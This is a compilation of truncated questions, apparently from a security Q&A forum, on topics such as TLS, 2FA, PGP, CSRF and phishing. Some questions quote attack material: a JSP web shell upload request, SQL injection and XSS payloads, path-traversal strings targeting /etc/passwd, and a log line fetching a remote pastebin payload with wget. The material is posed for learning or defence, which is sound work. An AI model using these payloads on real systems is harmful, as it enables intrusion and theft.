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In a recent pentest (Java thick client), it was discovered by the pentesters that TLS version 1.3 is not supported. I'm investigating why it is not supported, so I was looking in the Java code for where TLS 1.3 is defined. However, someone told me that the TLS version is related to OpenSSL on the server itself, so it i... |
I host a website on a cheap 5$ IaaS hosting service without a CDN.
An actor with a higher bandwidth internet connection could try to overload my webserver with recursively downloading some data with wget/curl/lynx until my server crashes/stops responding in general due to Denial of Service.
Is application layer DoS da... |
I am using a mobile ISP to access the internet. I noticed something really weird: most sites (e.g. www.whatismyip.com, https://www.iplocation.net/http-browser-header) report my IP as let's say IP A: XX.XX.XX.57.
However, a site that I'm hosting on Azure, occasionally reports a different IP, let's say IP B: XX.XX.XX.20... |
I have set it up so that when my users change their password, the salt is recomputed.
Besides hiding the fact that they may change their password to the same thing (I am checking that by first hashing their new pwd with the old salt) it doesn't really fulfill any purpose - or am I mistaken?
This answer states that:
Th... |
I am checking out Google's Advanced Protection program. I have registered in my Google account two security keys: my phone (a Realme 6) and a yubi key.
The advanced protection enrollment, asks me to register two keys (again).
I can successfully add the yubi key.
However, I have no option to use my phone. It keeps ex... |
I wonder about Google Authenticator privacy. I wonder if the app shares any information to the website owner about devices that we use to add a new key. I mean information like IP address and device type.
For example, I add a key from a crypto exchange. Can this exchange see the kind of device and IP of a device where ... |
I was required to log in and pay an invoice but for some reason the website did not work with Safari due to a cookie issue as suggested by the alert banner and asked me to use a different browser. I grabbed the complete URL of the logged in page and pasted it into Firefox and to my surprise I was immediately logged in.... |
I have a PHP system and I need to store some tokens for operations like:
Database username and password
API token
Keys for encryption
It turns out that for a long time only I manage the source code, but soon other people will need to maintain the source code, with that came the fear of unauthorized access and the nee... |
I am a customer of a cloud hosting provider (Cloudways). I create a new web site which gets a new automatically generated subdomain (like https://phpstack-xxxx-yyyy.cloudwaysapps.com/). I use Chrome on Windows 10 to set up the site. Within minutes of creating the new site I see in its access logs hits from the followin... |
I'm not sure if this is a valid way how to filter LFI, because if you bypass in_array function you can include any file, for example /etc/passwd.
Is it possible to bypass in_array function?
<?php
$file = $_GET['file'];
$files = array("some", "files", "here");
if (in_array($file, $files, true)) {
include('directory/... |
Let's suppose I'm uploading some website to website example.com, and I'm signing every single file with MAC which is shared by users of my website to verify that me (the admin) uploaded that file.
It's clear that if someone isn't a user of the website (ie doesn't know the Message authentication code) can't upload files... |
Do Public DNS servers log our DNS queries? I started running my own AdGuard Home in the cloud using Oracle Compute Instance. In AdGuard Home's dashboard, it logs my DNS queries.
I was wondering if Public DNS servers such as Cloudflare, Google, Quad9, and others do the same?
Since I'm already using my own DNS server, d... |
Let's say you're on a pentest (or bug bounty hunting) and you meet a domain that resolves to 127.0.0.1, How can you exploit that? is that even considered a misconfiguration ? sometimes i see domains named like 127-0-0-1.domain.com and it resolves to localhost, why do the developers even need such a thing ?
|
A web server running iis 10 ,PHP (windows) allows users to upload any type of pdf (the location and filename does not change on the server ). The files uploaded go though some file extension check which I was unable to bypass(I tried adding a null byte before extension, special characters, double periods). I am wonderi... |
I am setting up OAuth2 for Apple, and it requires a POST response to the callback URL if certain scopes (e.g. email address) are included.
My intended process for preventing CSRF:
Set a cookie with a nonce.
Redirect to the OAuth2 provider with state=<nonce>.
OAuth2 provider redirects to callback with the nonce.
Check ... |
I really, really thought I remembered seeing the existence of some standardized header or TLS packet whose purpose is to (try to) hide the length of the requested URL from an eavesdropper. But I cannot find anything about this at this time.
What — if any — measures does HTTPS use to decrease the eavesdropper's ability ... |
It seems that every question I've researched on this topic makes the general statement "on my home wifi network" which doesn't specifically address my question.
I'm about to start a new job working remotely at home using a laptop and phone provided by my new employer. I do not want my employer's equipment to be able t... |
My understanding is that:
SVGs offer far greater functionality if they are directly embedded in a site's HTML code via the <svg> tag than if they are linked to via the <img> tag
For example, if the <svg> tag is used, it is possible to dynamically change colors of certain parts of an SVG or even move parts around from... |
I have a TP-Link TL-WN727N wireless adapter that works out of the box with Kali Linux (I'm using a VM) which I have been using for quite some time. This card has worked flawlessly ever since I first got into kali.
But suddenly after I updated Kali to a later version, it refuses to specifically send deauth packets. When... |
I'm working through all issues that the static security analysis tool Fortify found in our internal Angular application. There is one particular issue I'm not confident of how to work with. Please see the following code, which is the event handler of a <select> HTML element:
if (selectedValue === -3) {
window.open(... |
I installed Ubuntu on my computer a year ago (dual booting) but I created partitions that are exclusively for Ubuntu.
This is how some Ubuntu partitions look on Disk Management.
On Windows I have installed Faronics Deep Freeze long ago, so everything gets deleted after restart.
Although whenever I use Ubuntu, the file... |
I found an x509 certificate hardcoded in an application and after looking into the code I found that is used to validate certificates(SSL pinning). Can I bypass SSL pinning with the certificate that I found?
|
NIST, the National Institute of Standards and Technology, does publish FIPS, the Federal Information Processing Standards Publications.
Does Germany or the European Union have their own standards?
Or do comparable standards at all exist in the world?
FIPS Publications Examples below:
Screenshot from nist.gov – 30.05.2... |
This weekend, Paypal started sending me emails with discount offers based on websites I visit in incognito mode on my phone.
I have an Android smartphone and am browsing in incognito mode in Chrome. I have the latest security updates for my phone installed (they're issued monthly) and Chrome is up-to-date
I have a Pay... |
While researching about the safety of web browsers I made my own program that can decrypt stored credentials, cookies, and other information of different browsers to see for myself how easy it is.
Though when trying to decrypt the credit card information of firefox using the same method that I used for the login decryp... |
I tried to google this topic but most of them are conflicting each other. On the other side, I found a case where I can use either stack (local variable) or heap for a dynamic string. It's C by the way. Any strong reference regarding this topic?
|
Can someone explain the difference between the Access-Control-Allow-Origin header and the Cross-Origin-Resource-Policy header?
According to MDN:
The Access-Control-Allow-Origin response header indicates whether the response can be shared with requesting code from the given origin.
And:
Cross-Origin Resource Policy is ... |
I'm currently in the process of writing a program that:
Reads a binary file (a C++ program) and creates a SHA256 hash of the data (like a checksum)
Use this calculated hash and a self signed CA certificate to create a CMS signature using the openssl crypt library
Verify the signature using the openssl library and addi... |
I am using HAProxy to perform Mutual TLS termination for my API.
HAProxy has Mutual TLS enabled with "verify required" and a cert-auth file to restrict access to the Apache service that proxies to my API.
I only want to allow two specific clients access through HAProxy.
Both of these clients used common Root/Int CAs to... |
Usecase: KeepassXC is configured with a Passward + Yubikey HMAC.
I am trying to understand the exact steps that happen.
I think the first five Steps are clear:
Open KeepassXC
Enter Password
Select Hardware Key
Click unlock
Yubikey is blinking
Now comes the Part I struggle to understand.
The next steps beginning with... |
Say I'm trying to develop a CEX, hence I will hold custody of users' keys. How would I go about doing that and ensuring safety and security?
From what I know, I can generate the users' keys from a seed phrase and store the path used to generate the keys. And these seed phrases will be stored in an HSM.
|
Can I bypass VPN detection with VPS? Instead of using VPN, I use VPS for another IP location and while doing that I can bypass VPN detection, right?
Like, they don't know where I am and they use the location of the VPS instead, right?
|
Assuming I boot up a fully encrypted OS from a portable flash drive and do some tasks in this running OS; then abruptly disconnect this flash drive from my computer and a malicious actor gets their hands on it.
Is there a chance that they could read the unencrypted portions of the last state of my OS? How hard would it... |
What is best practice for the encryption of offline application data?
I have an application where multiple users can log in. The user gets data from an internet API, where the user authenticates. I want to store some of the data, for example, a list of events (name, location, etc.) offline in a database for access with... |
Using bloodhound I would like to find the list of all computers a user I.e "domain\ajohn" can RDP into.
I looked at:
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' AND NOT c.operatingsystem CONTAINS 'Server' return p
This does not return any results for me
I don't know how to define the u... |
On an small audience highly confident web application we are about use CSP to add a level of security. Most parts of the application could be moved to script files and script-src set to 'self' would be sufficient. Some parts however still have to use inline scripts. PHP Session IDs are recreated on a regular basis. We... |
I'm running:
Ubuntu 20.02
Apache/2.4.41
PHP 7.4.3
I am running a simple web server that will accept file uploads, store them and catalog them in a database.
When I check /var/log/apache2/error.log, I see
--2022-06-01 00:07:44-- https://pastebin.com/raw/XV0i1huK
Resolving pastebin.com (pastebin.com)... 104.20.68.143,... |
I don't know much about how yubikeys work, but I'm trying to sign a commit with one of them and I don't even know how to debug the problem. I got:
gpg --list-keys
/home/lz/.gnupg/pubring.kbx
---------------------------
pub ed25519 2018-11-30 [SC]
123456...ABCDEF
uid [ unknown] proton@srp.modulus
sub ... |
I was studying how to create a simple app with Vue.js Javascript framework and downloaded the official and latest (as of today) CDN file from https://unpkg.com/vue@3.2.36/dist/vue.global.js.
I saved the file locally to my computer, but accidentally double-clicked on the .js file, and it opened for a split second in the... |
Since late May, I have been getting suspicious pop-up messages overlay on top of android Apps (see screenshots), requesting entering of the "ChromeSync Passphrase" for my google account.
I noticed that the pop-up will appear whenever the UI of any App resembles a login page, i.e. has text input fields and keywords su... |
I am compiling the following source code:
#include <stdio.h>
int main()
{
printf("Hello World!");
}
As you can see, it's just a normal program that print out Hello World! to console, there is no way this can harm your computer :)
I compiled it using x86_64-w64-mingw32-gcc on Linux host with the version:
x86_6... |
I have a machine that I suspect to be compromised and am installing a new OS from a usb. I know that there have been cases of malware surviving this, and even BIOS-reflashing, and something about the malware hiding on other firmware. But how common is it (or how hard is it for someone/something to hide on other firmwar... |
We have a lot of devices in my company that we use to test and after some years some of them become unsupported.
We are thinking about selling some of the ones that are not used any more but worry that there might be recoverable leftovers of sensitive information in them.
What would be the best way to be sure that no o... |
I understand the difference between a Ring-0 rootkit and a Ring-3 rootkit, in terms of their hierarchical depth in computational models. That is kernel mode and usermode, respectively.
I am confused as to whether there is a difference between a bootkit and ring-0?
It appears that a bootkit would store itself in the mas... |
I was wondering whether you need to have Microsoft Office installed to be vulnerable to CVE-2022-30190 RCE.
As far as I understand, MSDT is the issue here (the attack vector so to say) and as shown here https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt it appears to be part of Windows... |
I'm reading from Cryptography and Network Security: Principles and Practice
by William Stallings and I can't quite get the difference between transport and network level security by reading the text.
In particular, after mentioning the transport level approach it doesn't say anything about why it would be used rather t... |
A technical problem has arisen, and the vendor's first suggested solution is to exclude the program's folders from our antivirus. There are multiple reasons I am hesitant to do so:
Primarily: If a malicious file finds its way into those folders, either via vendor patching or unrelated actions, said file will be ignore... |
I have here a situation where if I share this file with someone on the internet, the file may contain: 1. data pointing to the directories where it is stored on my computer, along with 2. the name of the computer (the “Device Name” under “About your PC” in Windows), which the person receiving the file may be able to ex... |
I found in my Google admin logs that someone from outside my organization is trying to log in frequently by testing all our user accounts against weak passwords. I'm wondering how could that happen?
How did he manage to get the correct list of all our users' accounts? How can he attack Google servers and verify our acc... |
As normal user, if you open the Edit Environment Variable setting in Windows, you will get this:
As you can see, the %path% variable that available for an user is a combination of %path% set globally as System variables and %path% set locally for each user User variables for username.
Consider the following situation:... |
With PGP for example, the "properties" of the following key are:
pub rsa3072/2BD6571B 2022-06-03 [SC] [expires: 2024-06-02]
6713B62DC36CE36403C724B1FFD641CF2BD6571B
uid [ultimate] turysaz@foo.bar
sub rsa3072/10E0C323 2022-06-03 [E]
---
fingerprint 6713B62DC36CE36403C724B1FFD641CF2BD6571B
ID (long)... |
please verify or explain how to do this properly.
I'm letting a user create keys from the client through a secure server.
I ask the user for a password on the client, then send the hashed password to the server. The server generates fresh keys and encrypts them with the password hash + the generated verification key. T... |
I am aware that I can get the fingerprint of an x509 certificate by typing
openssl x509 -in certificate.crt -noout -fingerprint
But if I try to get the fingerprint of a CSR (openssl req -in certrequest.csr -fingerprint) I get
req: Unrecognized flag fingerprint
As I understand it, the fingerprint is of the key used, s... |
I am building a website with a separate Javascript frontend and a Django backend. My backend uses CSRF protection.
Now the problem is that the CSRF token is being set on the client side as a cookie on the backend's domain, e.g. api.example.com and this cookie is not accessible from the fronted frontend.example.com or s... |
According to wikipedia, Linux's security compared to Windows is generally due to "the malware's lack of root access."
Why doesn't Windows just fix this?
|
I'm currently playing with cmd.jsp webshells on a Java webapp in tomcat.
This is the request (sending via burpsuite)
PUT /path/cmd.jsp HTTP/1.1
Host: 69.69.69.69
Content-Length: 579
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.get... |
Can path traversal vulnerabilities occur in REST style URLs?
For example: https://x.com/filename/img.jpeg
https://x.com/filename/../../../../../etc/passwd
Does this make sense ?
|
In order to understand what should be done in a real user case, I made this test:
I created a GnuPG key, with the passphrase twothree
I exported the private key part of it (ASCII armored)
I generated the hash file for this part by using the gpg2john utility
I creted a password.lst file (replacing the default one) with... |
I recently discovered that when I have two-step verification disabled on my Amazon account, Amazon will allow me to sign in to my account using only my phone number and an OTP code sent via SMS. I am never asked to provide my password. So unless I'm missing something, it seems Amazon is allowing an OTP to be used as ... |
Rapid 7 has found CVE-2022-26832 on a server running Windows Server 2012 R2 Standard Edition with a French langauge pack installed.
The following is listed as the proof why Rapid 7 thinks the vulnerability exists:
Vulnerable software installed: Microsoft .NET Framework 4.8
Based on the following 2 results:
C:\Windows\... |
I'm having trouble figuring out to best identify or deal with phishing spoofs when the email address in the FROM field looks legit. Like From: NORTONquickbooks@notification.intuit.com that I can tell from reading the email that it's a spoof. If I get into the message source, it'll have Reply-To be something that shows ... |
Recently, we saw a spat of sim swap attacks against some of our users in my organization. It was a unusually high number of "number transfer" requests being sent out by a mobile carrier. Engaging the users, we confirmed they didnt request these and the mobile company confirmed transfer attempts were made.
However, arou... |
I am trying to understand The Pentester Lab challenge here at VulnHub.
After I translated this tutorial into English, at Exercise 2 I was presented with the following SQLi which completes the challenge:
http://pentesterlab/sqli/example2.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**... |
Background
I'm trying to understand more about the Mandatory Integrity Control system in Windows, and have been looking through the background processes that are running at High integrity on my laptop.
I've read through all the documentation that I can find on the integrity system, and my understanding is this: The int... |
Are there any best practices for storing app specific PINs (e.g. 6 digit PIN that isn't part of the device lock screen) on mobile devices (Android/iOS)? I know several banking and authenticator apps do this. Seems like bcrypt with a reasonable work factor (OWASP recommends 10) is still quite easy to crack given a 6 dig... |
First asked on StackOverflow and referred to this board, here:
I have an embedded system (Netburner 5441x) that encodes public-private RSA keypairs into devices. I have ported OpenSSL into the system but the embedded processor cannot make RSA keypairs fast enough for production goals. So the next logical step is to hav... |
I'm thinking through a mischief denial-of-service scenario that seems too easy to employ.
Your web-site validates email addresses for new users on sign-up.
A rogue party (a competitor) performs sign-ups using honeypot email addresses.
Your server sends its confirmation emails to the honeypot addresses.
Your server get... |
I saw this post but it focused more on Linux. It sounds to me that the main thing that makes using a router more secure is the fact that it blocks any inbound stuff, which sounds simple enough to set up on the PC itself, but I don't know how to do that on Windows 11.
Especially considering that I've seen lots of articl... |
I have 2 websites: a.com and b.com
To avoid using SAML for Single-Sign-On and making things complicated, I've taken this approach:
a.com is the identity provider. All users will be asked to sign in on a.com
b.com will receive information from a.com on the session and sign them in on b.com. A part of this is b.com passi... |
For my OpenVPN configuration, I have chosen only 3 symmetric ciphers: AES-256-GCM, AES-128-GCM, and also CHACHA20-POLY1305.
I don't have any fallback algorithm. I support only modern clients.
Is this enough or should I also specify that only TLS 1.3 is allowed (option tls-version-min 1.3)? Am I right that these algorit... |
Parties A and B know the random noise seed. Assume the seed is perfectly secure. Can the image possibly be recovered by someone who doesn't know the seed, assuming they have the decryption source code? So the only thing they need to figure out is the seed. Encryption is:
random_seed(42)
noise = 100 * randn(img.shape) ... |
I am trying to complete an SQL injection CTF here.
I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this challenge without any automated tools.
Here is the sqlmap command I used:
sudo sqlmap -u "https://www.zixem.altervista.org/SQLi... |
On a Windows 10 Home machine (21H2 19044.1741), I noticed one of my applications failed to listen on port 1000, because something was already using that port. That struck me as peculiar, because I wasn't familiar with any applications that use 1000 by default.
I ran netstat -ano to get the PID of the process using port... |
I am playing with a Linux CTF server and came across a kind of reverse connection block. I uploaded a php webshell, gained control of www-data user and tried to make a reverse shell.
Possible a UFW block at 1024~UP ports. In this server, I have SSH, FTP and HTTP services. Both SSH and FTP are ports above 1024. I have n... |
I recently installed the AdGuard app on Windows and Android. It wants to enable HTTPS filtering and install a certificate. I've seen antivirus do similar things. How exactly does this work and what security implications does this have? I'm guessing it's a compromise, but if the app wanted to do something malicious it w... |
Goal
I have a page which verifies the user's email address, that has access to their user id. From this page they're redirected to the login page. I want their username to be filled in already. In other words, passing the username (or email) from one page to another.
Question
First thing coming to mind would be storing... |
I was reading about TLS1.3 and my question is that are the server hello extensions encrypted? Why is it so and how are they encrypted?
|
I know about the trust web in PGP. When you sign a key, everybody that trusts you will trust the person with that key. But what is the point of self-signing a key when anybody else can do that with his own key-pair?
|
I am a researcher and want to test our phishing website identification tools, but we don't want to rely on any already-identified phishing sites. Instead, we want to find fresh potential phishing sites in real-time. My intention is similar to Crawling for Phishing Websites, but we do not work for any particular brand a... |
I'm not an expert of security.
I heard it's not recommended to enable GZIP compression for HTTPS requests, that would open a security issue (see SO answer: https://stackoverflow.com/a/4063496/17307650 and https://en.wikipedia.org/wiki/BREACH)
I have an API endpoint in HTTPS and the browser sends a big JSON payload in t... |
In RFC-4519 stateOrProvinceName is abbreviated to ST. Should we assume that it is best practice to put ST=<name-of-state> in the certificate if the state or province is indicated? After all X-500 also has the acronyms S and SP reserved for state or province.
Which acronyms should we allow when it comes to accepting cer... |
The Problem:
Use the platform TMP of my Windows Laptop/PC (no external device or USB token) as U2F in a web application to check if it is a known device.
My intended solution:
I need to store/create something (Cetificate, Private/Public Key or Virtual SmartCard) in the TPM that is known by the web application.
If poss... |
Whenever I leave my computer for the bathroom or anything inside the living space, I press WinKey + L to enter the "Lock Screen" mode. (If I go outside, I turn it off completely.)
Let's say that somebody is in my house. I lock my PC in the manner just described and go to the bathroom. They immediately pick out a little... |
I would like to ask about "BadUSB" vulnerability real world attack vectors. I got this idea, because I use virtual box as a sandbox for checking incoming files from clients (I am not an exposed person and I am not doing anything sensitive - it's just a common precaution because I communicate with a lots of people and a... |
When one desires to share their public key openly, besides sharing just the key itself:
How does one verify that the key belongs to who it claims to be owned by?
What is the use case of the key's fingerprint?
Is there a benefit to create a detached signature of the key to verify it was signed by the same person who cr... |
I want to make a security camera using a Raspberry Pi 3 B.
I believe there are more ways of to view the video stream but one way I've found that seems very convenient is through a web server like in this tutorial. From what I understand this isn't very secure and you probably wouldn't want to use it to host a livestrea... |
Scenario A: Suppose I have an .exe file, the provider offers a sha1 txt file with hash value and this txt file is gpg signed. So I check if the hash value matches the exe file and then download the key either from the keyserver or directly from the provider, check the fingerprint again and see if the txt file is signed... |
I was watching the DEFCON 17: Advanced SQL Injection video here.
At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated
With MySQL you really only have Union-based and Blind
Provided the above statement is true, could somebody please explain why it appears MySQL is somewh... |
Does PCI DSS allows/restrict bulk sending of cards? eg: Im buying gift cards for my 200 employees, can I have them delivered to my HR?
Are there addendums or restrictions on this?
|
I have the following problem: I have this C program and I have done buffer overflow using ROP gadgets. I have a problem with the output.
I want to stop the printf() call in the vuln function to get the right output but how can I achieve that with the ROP chain?
My program is compiled with gcc.
Compilation:
gcc -m32 -f... |
I'm having a hard time bypassing "
I tried every payload but nothing happened. The payload is
"><img src="data:xxx1" style='aaa: '\"/onerror=alert(1)//'' />
But it's transformed to
<input class="td-widget-search-input" type="text" value="`"><img src="data:xxx1" style='aaa: '\"/onerror=alert(1)... |
I want to make a smart card reader app, that sends read data to a server. In order to be certain in the integrity of the data, I want to use a client certificate to communicate with the server and I don't want the certificate to be available for usage outside of my app.
What are my options for achieving this?
I am thin... |
In a web mvc application I have the user login and then he is navigated to a View which presents some data fetched from the database based on a unique Id of the user. He can continue to other views to get more details etc.
After authentication and that means that he has access to the API, is it possible to alter the re... |
When using OAuth2 in Azure, why Certificates are more secure than using Secrets?
The Secrets have expiration and are strong, and generated automatically.
The application needs to send a JWT containing a x5t header with the thumbprint of the Certificate.
The Certificate is stored in Azure.
After OAuth2 is concluded, Azu... |
For physical SIMs, I'm aware of a number of security benefits to enabling the SIM PIN, because for an attacker with access to a lost or stolen SIM, a PIN prevents transferring the SIM to a different phone, where they could:
Gain access to existing voice mail stored on the service.
Receive new SMS (including 2FA tokens... |
I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec arbitrary commands on any pod.
I am quite confused on how to do so. Currently, I have sent a GET request to the kube ap... |
Sometimes I receive email messages from organisations I'm involved with saying something like:
Alice at AnyCo has sent you a secure message
Along with a link to access said message. Sometimes I'm then asked to create an account. The last one even decided to use "2FA" and send me a code to the same email address befor... |
I am trying to get an Apache server running over HTTPS on a local network with an IP address 192.168..
And our requirement is to make this local server secure. (no outside network / internet connection available)
I have gone through many tutorials / questions / forums / blogs and come to know that it is not possible to... |
Since, I am new to gpg I wanted to generate a key pair. So I typed gpg --full-gen-key and inputted the following:
root@kali-linux:~# gpg --full-gen-key
gpg (GnuPG) 2.2.35; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by... |
I'm working for a company and I saw their authentication mechanism and wasn't sure if it's good.
When the user first logs in, the credentials will be sent to the server and the server will generate a Bearer Token and response, then on the client-side, the token will be saved in the cookies.
If the client asks for somet... |
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